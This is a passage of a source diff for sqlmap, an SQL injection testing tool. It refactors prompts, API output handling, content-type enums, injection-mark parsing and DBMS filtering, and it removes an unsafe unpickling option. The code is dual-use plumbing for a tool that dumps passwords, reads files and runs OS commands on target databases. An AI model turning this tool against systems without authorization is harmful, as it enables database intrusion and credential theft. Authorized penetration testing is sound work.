+        for chunk in iter(lambda: f.read(4096), ""):
+            digest.update(chunk)
+
+    return digest.hexdigest()
+
 def checkIntegrity():
    """
    Checks integrity of code files during the unhandled exceptions
    """

+    if not paths:
+        return
+
    logger.debug("running code integrity check")

    retVal = True
@@ -3131,7 +3252,7 @@ def checkIntegrity():
        if not os.path.isfile(path):
            logger.error("missing file detected '%s'" % path)
            retVal = False
-        elif hashlib.md5(open(path, 'rb').read()).hexdigest() != checksum:
+        elif md5File(path) != checksum:
            logger.error("wrong checksum of file '%s' detected" % path)
            retVal = False
    return retVal
@@ -3193,11 +3314,11 @@ def createGithubIssue(errMsg, excMsg):
    msg += "with the unhandled exception information at "
    msg += "the official Github repository? [y/N] "
    try:
-        test = readInput(msg, default="N")
+        choice = readInput(msg, default='N', boolean=True)
    except:
-        test = None
+        choice = None

-    if test and test[0] in ("y", "Y"):
+    if choice:
        ex = None
        errMsg = errMsg[errMsg.find("\n"):]

@@ -3361,11 +3482,32 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
                    else:
                        regex = r"%s\b" % regex

-                    retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, retVal)
+                    _retVal = [retVal]
+                    def _thread(regex):
+                        try:
+                            _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0])

-                    if len(parts) > 2:
-                        regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
-                        retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal)
+                            if len(parts) > 2:
+                                regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
+                                _retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
+                        except KeyboardInterrupt:
+                            raise
+                        except:
+                            pass
+
+                    thread = threading.Thread(target=_thread, args=(regex,))
+                    thread.daemon = True
+                    thread.start()
+                    thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
+
+                    if thread.isAlive():
+                        kb.reflectiveMechanism = False
+                        retVal = content
+                        if not suppressWarning:
+                            debugMsg = "turning off reflection removal mechanism (because of timeouts)"
+                            logger.debug(debugMsg)
+                    else:
+                        retVal = _retVal[0]

                if retVal != content:
                    kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
@@ -3422,11 +3564,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
        if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
                retVal = "`%s`" % retVal.strip("`")
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
                retVal = "\"%s\"" % retVal.strip("\"")
            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                retVal = "\"%s\"" % retVal.strip("\"").upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
+            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
                retVal = "[%s]" % retVal.strip("[]")

        if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
@@ -3633,13 +3775,31 @@ def randomizeParameterValue(value):
    value = re.sub(r"%[0-9a-fA-F]{2}", "", value)

    for match in re.finditer('[A-Z]+', value):
-        retVal = retVal.replace(match.group(), randomStr(len(match.group())).upper())
+        while True:
+            original = match.group()
+            candidate = randomStr(len(match.group())).upper()
+            if original != candidate:
+                break
+
+        retVal = retVal.replace(original, candidate)

    for match in re.finditer('[a-z]+', value):
-        retVal = retVal.replace(match.group(), randomStr(len(match.group())).lower())
+        while True:
+            original = match.group()
+            candidate = randomStr(len(match.group())).lower()
+            if original != candidate:
+                break
+
+        retVal = retVal.replace(original, candidate)

    for match in re.finditer('[0-9]+', value):
-        retVal = retVal.replace(match.group(), str(randomInt(len(match.group()))))
+        while True:
+            original = match.group()
+            candidate = str(randomInt(len(match.group())))
+            if original != candidate:
+                break
+
+        retVal = retVal.replace(original, candidate)

    return retVal

@@ -4002,7 +4162,7 @@ def decodeHexValue(value, raw=False):
        retVal = value
        if value and isinstance(value, basestring):
            if len(value) % 2 != 0:
-                retVal = "%s?" % hexdecode(value[:-1])
+                retVal = "%s?" % hexdecode(value[:-1]) if len(value) > 1 else value
                singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value)
            else:
                retVal = hexdecode(value)
@@ -4256,6 +4416,9 @@ def getSafeExString(ex, encoding=None):
    """
    Safe way how to get the proper exception represtation as a string
    (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161'))
+
+    >>> getSafeExString(Exception('foobar'))
+    u'foobar'
    """

    retVal = ex
@@ -4265,4 +4428,4 @@ def getSafeExString(ex, encoding=None):
    elif getattr(ex, "msg", None):
        retVal = ex.msg

-    return getUnicode(retVal, encoding=encoding)
+    return getUnicode(retVal or "", encoding=encoding).strip()
@@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
 from lib.core.datatype import AttribDict

 _defaults = {
-   "csvDel":       ",",
+   "csvDel":       ',',
   "timeSec":      5,
   "googlePage":   1,
   "verbose":      1,
@@ -272,8 +272,10 @@ DEPRECATED_OPTIONS = {
    "--no-unescape": "use '--no-escape' instead",
    "--binary": "use '--binary-fields' instead",
    "--auth-private": "use '--auth-file' instead",
+    "--ignore-401": "use '--ignore-code' instead",
    "--check-payload": None,
    "--check-waf": None,
+    "--pickled-options": "use '--api -c ...' instead",
 }

 DUMP_DATA_PREPROCESS = {
@@ -63,7 +63,7 @@ class Dump(object):
        self._lock = threading.Lock()

    def _write(self, data, newline=True, console=True, content_type=None):
-        if hasattr(conf, "api"):
+        if conf.api:
            dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
            return

@@ -110,7 +110,7 @@ class Dump(object):
    def string(self, header, data, content_type=None, sort=True):
        kb.stickyLevel = None

-        if hasattr(conf, "api"):
+        if conf.api:
            self._write(data, content_type=content_type)
            return

@@ -144,7 +144,7 @@ class Dump(object):
            except:
                pass

-        if hasattr(conf, "api"):
+        if conf.api:
            self._write(elements, content_type=content_type)
            return

@@ -193,7 +193,7 @@ class Dump(object):
        users = userSettings.keys()
        users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)

-        if hasattr(conf, "api"):
+        if conf.api:
            self._write(userSettings, content_type=content_type)
            return

@@ -227,7 +227,7 @@ class Dump(object):

    def dbTables(self, dbTables):
        if isinstance(dbTables, dict) and len(dbTables) > 0:
-            if hasattr(conf, "api"):
+            if conf.api:
                self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
                return

@@ -270,7 +270,7 @@ class Dump(object):

    def dbTableColumns(self, tableColumns, content_type=None):
        if isinstance(tableColumns, dict) and len(tableColumns) > 0:
-            if hasattr(conf, "api"):
+            if conf.api:
                self._write(tableColumns, content_type=content_type)
                return

@@ -344,7 +344,7 @@ class Dump(object):

    def dbTablesCount(self, dbTables):
        if isinstance(dbTables, dict) and len(dbTables) > 0:
-            if hasattr(conf, "api"):
+            if conf.api:
                self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
                return

@@ -403,7 +403,7 @@ class Dump(object):
            db = "All"
        table = tableValues["__infos__"]["table"]

-        if hasattr(conf, "api"):
+        if conf.api:
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

@@ -666,7 +666,7 @@ class Dump(object):
                logger.warn(msg)

    def dbColumns(self, dbColumnsDict, colConsider, dbs):
-        if hasattr(conf, "api"):
+        if conf.api:
            self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
            return

@@ -287,31 +287,32 @@ class WEB_API:
    JSP = "jsp"

 class CONTENT_TYPE:
-    TECHNIQUES = 0
-    DBMS_FINGERPRINT = 1
-    BANNER = 2
-    CURRENT_USER = 3
-    CURRENT_DB = 4
-    HOSTNAME = 5
-    IS_DBA = 6
-    USERS = 7
-    PASSWORDS = 8
-    PRIVILEGES = 9
-    ROLES = 10
-    DBS = 11
-    TABLES = 12
-    COLUMNS = 13
-    SCHEMA = 14
-    COUNT = 15
-    DUMP_TABLE = 16
-    SEARCH = 17
-    SQL_QUERY = 18
-    COMMON_TABLES = 19
-    COMMON_COLUMNS = 20
-    FILE_READ = 21
-    FILE_WRITE = 22
-    OS_CMD = 23
-    REG_READ = 24
+    TARGET = 0
+    TECHNIQUES = 1
+    DBMS_FINGERPRINT = 2
+    BANNER = 3
+    CURRENT_USER = 4
+    CURRENT_DB = 5
+    HOSTNAME = 6
+    IS_DBA = 7
+    USERS = 8
+    PASSWORDS = 9
+    PRIVILEGES = 10
+    ROLES = 11
+    DBS = 12
+    TABLES = 13
+    COLUMNS = 14
+    SCHEMA = 15
+    COUNT = 16
+    DUMP_TABLE = 17
+    SEARCH = 18
+    SQL_QUERY = 19
+    COMMON_TABLES = 20
+    COMMON_COLUMNS = 21
+    FILE_READ = 22
+    FILE_WRITE = 23
+    OS_CMD = 24
+    REG_READ = 25

 PART_RUN_CONTENT_TYPES = {
    "checkDbms": CONTENT_TYPE.TECHNIQUES,
@@ -363,10 +364,12 @@ class MKSTEMP_PREFIX:
    HASHES = "sqlmaphashes-"
    CRAWLER = "sqlmapcrawler-"
    IPC = "sqlmapipc-"
+    CONFIG = "sqlmapconfig-"
    TESTING = "sqlmaptesting-"
    RESULTS = "sqlmapresults-"
    COOKIE_JAR = "sqlmapcookiejar-"
    BIG_ARRAY = "sqlmapbigarray-"
+    SPECIFIC_RESPONSE = "sqlmapresponse-"

 class TIMEOUT_STATE:
    NORMAL = 0
@@ -50,6 +50,9 @@ class SqlmapUserQuitException(SqlmapBaseException):
 class SqlmapShellQuitException(SqlmapBaseException):
    pass

+class SqlmapSkipTargetException(SqlmapBaseException):
+    pass
+
 class SqlmapSyntaxException(SqlmapBaseException):
    pass

@@ -45,7 +45,6 @@ from lib.core.common import getConsoleWidth
 from lib.core.common import getFileItems
 from lib.core.common import getFileType
 from lib.core.common import getUnicode
-from lib.core.common import isListLike
 from lib.core.common import normalizePath
 from lib.core.common import ntToPosixSlashes
 from lib.core.common import openFile
@@ -58,12 +57,11 @@ from lib.core.common import readInput
 from lib.core.common import resetCookieJar
 from lib.core.common import runningAsAdmin
 from lib.core.common import safeExpandUser
+from lib.core.common import saveConfig
 from lib.core.common import setOptimize
 from lib.core.common import setPaths
 from lib.core.common import singleTimeWarnMessage
-from lib.core.common import UnicodeRawConfigParser
 from lib.core.common import urldecode
-from lib.core.convert import base64unpickle
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -112,8 +110,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
 from lib.core.settings import DUMMY_URL
-from lib.core.settings import IGNORE_SAVE_OPTIONS
-from lib.core.settings import INJECT_HERE_MARK
+from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -152,6 +149,7 @@ from lib.request.pkihandler import HTTPSPKIAuthHandler
 from lib.request.rangehandler import HTTPRangeHandler
 from lib.request.redirecthandler import SmartRedirectHandler
 from lib.request.templates import getPageTemplate
+from lib.utils.har import HTTPCollectorFactory
 from lib.utils.crawler import crawl
 from lib.utils.deps import checkDependencies
 from lib.utils.search import search
@@ -243,6 +241,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
            if schemePort:
                scheme = schemePort.group(1)
                port = schemePort.group(2)
+                request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
            else:
                scheme, port = None, None

@@ -281,7 +280,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
                    method = match.group(1)
                    url = match.group(2)

-                    if any(_ in line for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)):
+                    if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
                        params = True

                    getPostReq = True
@@ -321,7 +320,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
                        headers.append((getUnicode(key), getUnicode(value)))

-                    if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
+                    if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
                        params = True

            data = data.rstrip("\r\n") if data else data
@@ -486,14 +485,14 @@ def _setRequestFromFile():

    conf.requestFile = safeExpandUser(conf.requestFile)

-    infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
-    logger.info(infoMsg)
-
    if not os.path.isfile(conf.requestFile):
-        errMsg = "the specified HTTP request file "
+        errMsg = "specified HTTP request file '%s' " % conf.requestFile
        errMsg += "does not exist"
        raise SqlmapFilePathException(errMsg)

+    infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
+    logger.info(infoMsg)
+
    _feedTargetsDict(conf.requestFile, addedTargetUrls)

 def _setCrawler():
@@ -545,8 +544,7 @@ def _doSearch():
            elif re.search(URI_INJECTABLE_REGEX, link, re.I):
                if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
                    message = "do you want to scan only results containing GET parameters? [Y/n] "
-                    test = readInput(message, default="Y")
-                    kb.data.onlyGETs = test.lower() != 'n'
+                    kb.data.onlyGETs = readInput(message, default='Y', boolean=True)
                if not kb.data.onlyGETs or conf.googleDork:
                    kb.targets.add((link, conf.method, conf.data, conf.cookie, None))

@@ -573,9 +571,8 @@ def _doSearch():
            message += "for your search dork expression, but none of them "
            message += "have GET parameters to test for SQL injection. "
            message += "Do you want to skip to the next result page? [Y/n]"
-            test = readInput(message, default="Y")

-            if test[0] in ("n", "N"):
+            if not readInput(message, default='Y', boolean=True):
                raise SqlmapSilentQuitException
            else:
                conf.googlePage += 1
@@ -596,7 +593,7 @@ def _setBulkMultipleTargets():

    found = False
    for line in getFileItems(conf.bulkFile):
-        if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line:
+        if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
            found = True
            kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))

@@ -632,7 +629,7 @@ def _findPageForms():
    logger.info(infoMsg)

    if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
-        page, _ = Request.queryPage(content=True)
+        page, _, _ = Request.queryPage(content=True)
        findPageForms(page, conf.url, True, True)
    else:
        if conf.bulkFile:
@@ -949,14 +946,14 @@ def _setTamperingFunctions():
                        message = "it appears that you might have mixed "
                        message += "the order of tamper scripts. "
                        message += "Do you want to auto resolve this? [Y/n/q] "
-                        test = readInput(message, default="Y")
+                        choice = readInput(message, default='Y').upper()

-                        if not test or test[0] in ("y", "Y"):
-                            resolve_priorities = True
-                        elif test[0] in ("n", "N"):
+                        if choice == 'N':
                            resolve_priorities = False
-                        elif test[0] in ("q", "Q"):
+                        elif choice == 'Q':
                            raise SqlmapUserQuitException
+                        else:
+                            resolve_priorities = True

                        check_priority = False

@@ -1688,17 +1685,28 @@ def _cleanupOptions():
    if conf.optimize:
        setOptimize()

-    if conf.data:
-        conf.data = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.data, re.I)
+    match = re.search(INJECT_HERE_REGEX, conf.data or "")
+    if match:
+        kb.customInjectionMark = match.group(0)

-    if conf.url:
-        conf.url = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.url, re.I)
+    match = re.search(INJECT_HERE_REGEX, conf.url or "")
+    if match:
+        kb.customInjectionMark = match.group(0)

    if conf.os:
        conf.os = conf.os.capitalize()

+    if conf.forceDbms:
+        conf.dbms = conf.forceDbms
+
    if conf.dbms:
-        conf.dbms = conf.dbms.capitalize()
+        kb.dbmsFilter = []
+        for _ in conf.dbms.split(','):
+            for dbms, aliases in DBMS_ALIASES:
+                if _.strip().lower() in aliases:
+                    kb.dbmsFilter.append(dbms)
+                    conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None
+                    break

    if conf.testFilter:
        conf.testFilter = conf.testFilter.strip('*+')
@@ -1771,13 +1779,13 @@ def _cleanupOptions():
        conf.torType = conf.torType.upper()

    if conf.col:
-        conf.col = re.sub(r"\s*,\s*", ",", conf.col)
+        conf.col = re.sub(r"\s*,\s*", ',', conf.col)

    if conf.excludeCol:
-        conf.excludeCol = re.sub(r"\s*,\s*", ",", conf.excludeCol)
+        conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)

    if conf.binaryFields:
-        conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields)
+        conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)

    if any((conf.proxy, conf.proxyFile, conf.tor)):
        conf.disablePrecon = True
@@ -1833,6 +1841,7 @@ def _setConfAttributes():
    conf.dumpPath = None
    conf.hashDB = None
    conf.hashDBFile = None
+    conf.httpCollector = None
    conf.httpHeaders = []
    conf.hostname = None
    conf.ipv6 = False
@@ -1848,6 +1857,7 @@ def _setConfAttributes():
    conf.scheme = None
    conf.tests = []
    conf.trafficFP = None
+    conf.HARCollectorFactory = None
    conf.wFileType = None

 def _setKnowledgeBaseAttributes(flushAll=True):
@@ -1867,6 +1877,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.authHeader = None
    kb.bannerFp = AttribDict()
    kb.binaryField = False
+    kb.browserVerification = None

    kb.brute = AttribDict({"tables": [], "columns": []})
    kb.bruteMode = False
@@ -1894,11 +1905,13 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.connErrorCounter = 0
    kb.cookieEncodeChoice = None
    kb.counters = {}
+    kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
    kb.data = AttribDict()
    kb.dataOutputFlag = False

    # Active back-end DBMS fingerprint
    kb.dbms = None
+    kb.dbmsFilter = []
    kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]

    kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
@@ -1906,6 +1919,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.dnsMode = False
    kb.dnsTest = None
    kb.docRoot = None
+    kb.droppingRequests = False
    kb.dumpColumns = None
    kb.dumpTable = None
    kb.dumpKeyboardInterrupt = False
@@ -1925,6 +1939,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.futileUnion = None
    kb.headersFp = {}
    kb.heuristicDbms = None
+    kb.heuristicExtendedDbms = None
    kb.heuristicMode = False
    kb.heuristicPage = False
    kb.heuristicTest = None
@@ -2014,6 +2029,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.tableExistsChoice = None
    kb.uChar = NULL
    kb.unionDuplicates = False
+    kb.wafSpecificResponse = None
    kb.xpCmdshellAvailable = False

    if flushAll:
@@ -2107,53 +2123,7 @@ def _saveConfig():
    debugMsg = "saving command line options to a sqlmap configuration INI file"
    logger.debug(debugMsg)

-    config = UnicodeRawConfigParser()
-    userOpts = {}
-
-    for family in optDict.keys():
-        userOpts[family] = []
-
-    for option, value in conf.items():
-        for family, optionData in optDict.items():
-            if option in optionData:
-                userOpts[family].append((option, value, optionData[option]))
-
-    for family, optionData in userOpts.items():
-        config.add_section(family)
-
-        optionData.sort()
-
-        for option, value, datatype in optionData:
-            if datatype and isListLike(datatype):
-                datatype = datatype[0]
-
-            if option in IGNORE_SAVE_OPTIONS:
-                continue
-
-            if value is None:
-                if datatype == OPTION_TYPE.BOOLEAN:
-                    value = "False"
-                elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT):
-                    if option in defaults:
-                        value = str(defaults[option])
-                    else:
-                        value = "0"
-                elif datatype == OPTION_TYPE.STRING:
-                    value = ""
-
-            if isinstance(value, basestring):
-                value = value.replace("\n", "\n ")
-
-            config.set(family, option, value)
-
-    confFP = openFile(conf.saveConfig, "wb")
-
-    try:
-        config.write(confFP)
-    except IOError, ex:
-        errMsg = "something went wrong while trying "
-        errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, getSafeExString(ex))
-        raise SqlmapSystemException(errMsg)
+    saveConfig(conf, conf.saveConfig)

    infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig
    logger.info(infoMsg)
@@ -2229,26 +2199,6 @@ def _mergeOptions(inputOptions, overrideOptions):
    @type inputOptions: C{instance}
    """

-    if inputOptions.pickledOptions:
-        try:
-            unpickledOptions = base64unpickle(inputOptions.pickledOptions, unsafe=True)
-
-            if type(unpickledOptions) == dict:
-                unpickledOptions = AttribDict(unpickledOptions)
-
-            _normalizeOptions(unpickledOptions)
-
-            unpickledOptions["pickledOptions"] = None
-            for key in inputOptions:
-                if key not in unpickledOptions:
-                    unpickledOptions[key] = inputOptions[key]
-
-            inputOptions = unpickledOptions
-        except Exception, ex:
-            errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
-            errMsg += " (%s)" % repr(ex)
-            raise SqlmapSyntaxException(errMsg)
-
    if inputOptions.configFile:
        configFileParser(inputOptions.configFile)

@@ -2261,7 +2211,7 @@ def _mergeOptions(inputOptions, overrideOptions):
        if key not in conf or value not in (None, False) or overrideOptions:
            conf[key] = value

-    if not hasattr(conf, "api"):
+    if not conf.api:
        for key, value in conf.items():
            if value is not None:
                kb.explicitSettings.add(key)
@@ -2295,6 +2245,12 @@ def _setTrafficOutputFP():

        conf.trafficFP = openFile(conf.trafficFile, "w+")

+def _setupHTTPCollector():
+    if not conf.harFile:
+        return
+
+    conf.httpCollector = HTTPCollectorFactory(conf.harFile).create()
+
 def _setDNSServer():
    if not conf.dnsDomain:
        return
@@ -2324,7 +2280,7 @@ def _setProxyList():
        return

    conf.proxyList = []
-    for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
+    for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
        _, type_, address, port = match.groups()
        conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))

@@ -2424,8 +2380,8 @@ def _basicOptionValidation():

    if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \
       isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart:
-        errMsg = "value for option '--start' (limitStart) must be smaller or equal than value for --stop (limitStop) option"
-        raise SqlmapSyntaxException(errMsg)
+        warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable"
+        logger.warn(warnMsg)

    if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \
       isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar:
@@ -2456,6 +2412,10 @@ def _basicOptionValidation():
        errMsg = "switch '--dump' is incompatible with switch '--search'"
        raise SqlmapSyntaxException(errMsg)

+    if conf.api and not conf.configFile:
+        errMsg = "switch '--api' requires usage of option '-c'"
+        raise SqlmapSyntaxException(errMsg)
+
    if conf.data and conf.nullConnection:
        errMsg = "option '--data' is incompatible with switch '--null-connection'"
        raise SqlmapSyntaxException(errMsg)
@@ -2667,6 +2627,7 @@ def init():
    _setTamperingFunctions()
    _setWafFunctions()
    _setTrafficOutputFP()
+    _setupHTTPCollector()
    _resolveCrossReferences()
    _checkWebSocket()

@@ -38,7 +38,7 @@ optDict = {
                               "authType":          "string",
                               "authCred":          "string",
                               "authFile":          "string",
-                               "ignore401":         "boolean",
+                               "ignoreCode":        "integer",
                               "ignoreProxy":       "boolean",
                               "ignoreRedirects":   "boolean",
                               "ignoreTimeouts":    "boolean",
@@ -77,8 +77,8 @@ optDict = {
                               "testParameter":     "string",
                               "skip":              "string",
                               "skipStatic":        "boolean",
-                               "skip":              "string",
                               "paramExclude":      "string",
+                               "dbms":              "string",
                               "dbmsCred":          "string",
                               "os":                "string",
                               "invalidBignum":     "boolean",
@@ -196,6 +196,7 @@ optDict = {
                               "batch":             "boolean",
                               "binaryFields":      "string",
                               "charset":           "string",
+                               "checkInternet":     "boolean",
                               "crawlDepth":        "integer",
                               "crawlExclude":      "string",
                               "csvDel":            "string",
@@ -204,6 +205,7 @@ optDict = {
                               "flushSession":      "boolean",
                               "forms":             "boolean",
                               "freshQueries":      "boolean",
+                               "harFile":           "string",
                               "hexConvert":        "boolean",
                               "outputDir":         "string",
                               "parseErrors":       "boolean",
@@ -225,11 +227,11 @@ optDict = {
                               "identifyWaf":       "boolean",
                               "mobile":            "boolean",
                               "offline":           "boolean",
-                               "pageRank":          "boolean",
                               "purgeOutput":       "boolean",
                               "skipWaf":           "boolean",
                               "smart":             "boolean",
                               "tmpDir":            "string",
+                               "webRoot":           "string",
                               "wizard":            "boolean",
                               "verbose":           "integer",
                             },
@@ -243,5 +245,10 @@ optDict = {
                               "liveTest":          "boolean",
                               "stopFail":          "boolean",
                               "runCase":           "string",
+                      },
+            "API": {
+                               "api":               "boolean",
+                               "taskid":            "string",
+                               "database":          "string",
                      }
          }
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS

 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.1.2.0"
+VERSION = "1.1.9.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -109,7 +109,7 @@ DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Geck
 TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"

 # Regular expression used for recognition of IP addresses
-IP_ADDRESS_REGEX = r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b"
+IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"

 # Regular expression used for recognition of generic "your ip has been blocked" messages
 BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)"
@@ -295,7 +295,7 @@ BLANK = "<blank>"
 CURRENT_DB = "CD"

 # Regular expressions used for finding file paths in error messages
-FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line \d+", r"in (?P<result>[^<>]+?) on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")

 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
@@ -359,11 +359,14 @@ MIN_RATIO = 0.0
 # Maximum value for comparison ratio
 MAX_RATIO = 1.0

+# Minimum length of sentence for automatic choosing of --string (in case of high matching ratio)
+CANDIDATE_SENTENCE_MIN_LENGTH = 10
+
 # Character used for marking injectable position inside provided data
 CUSTOM_INJECTION_MARK_CHAR = '*'

 # Other way to declare injection position
-INJECT_HERE_MARK = '%INJECT HERE%'
+INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%'

 # Minimum chunk length used for retrieving data over error based payloads
 MIN_ERROR_CHUNK_LENGTH = 8
@@ -383,6 +386,9 @@ REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
 # Regular expression used for replacing non-alphanum characters
 REFLECTED_REPLACEMENT_REGEX = r".+"

+# Maximum time (in seconds) spent per reflective value(s) replacement
+REFLECTED_REPLACEMENT_TIMEOUT = 3
+
 # Maximum number of alpha-numerical parts in reflected regex (for speed purposes)
 REFLECTED_MAX_REGEX_PARTS = 10

@@ -447,6 +453,9 @@ LOW_TEXT_PERCENT = 20
 # Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
 IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")

+# Keywords expected to be in UPPERCASE in getValue()
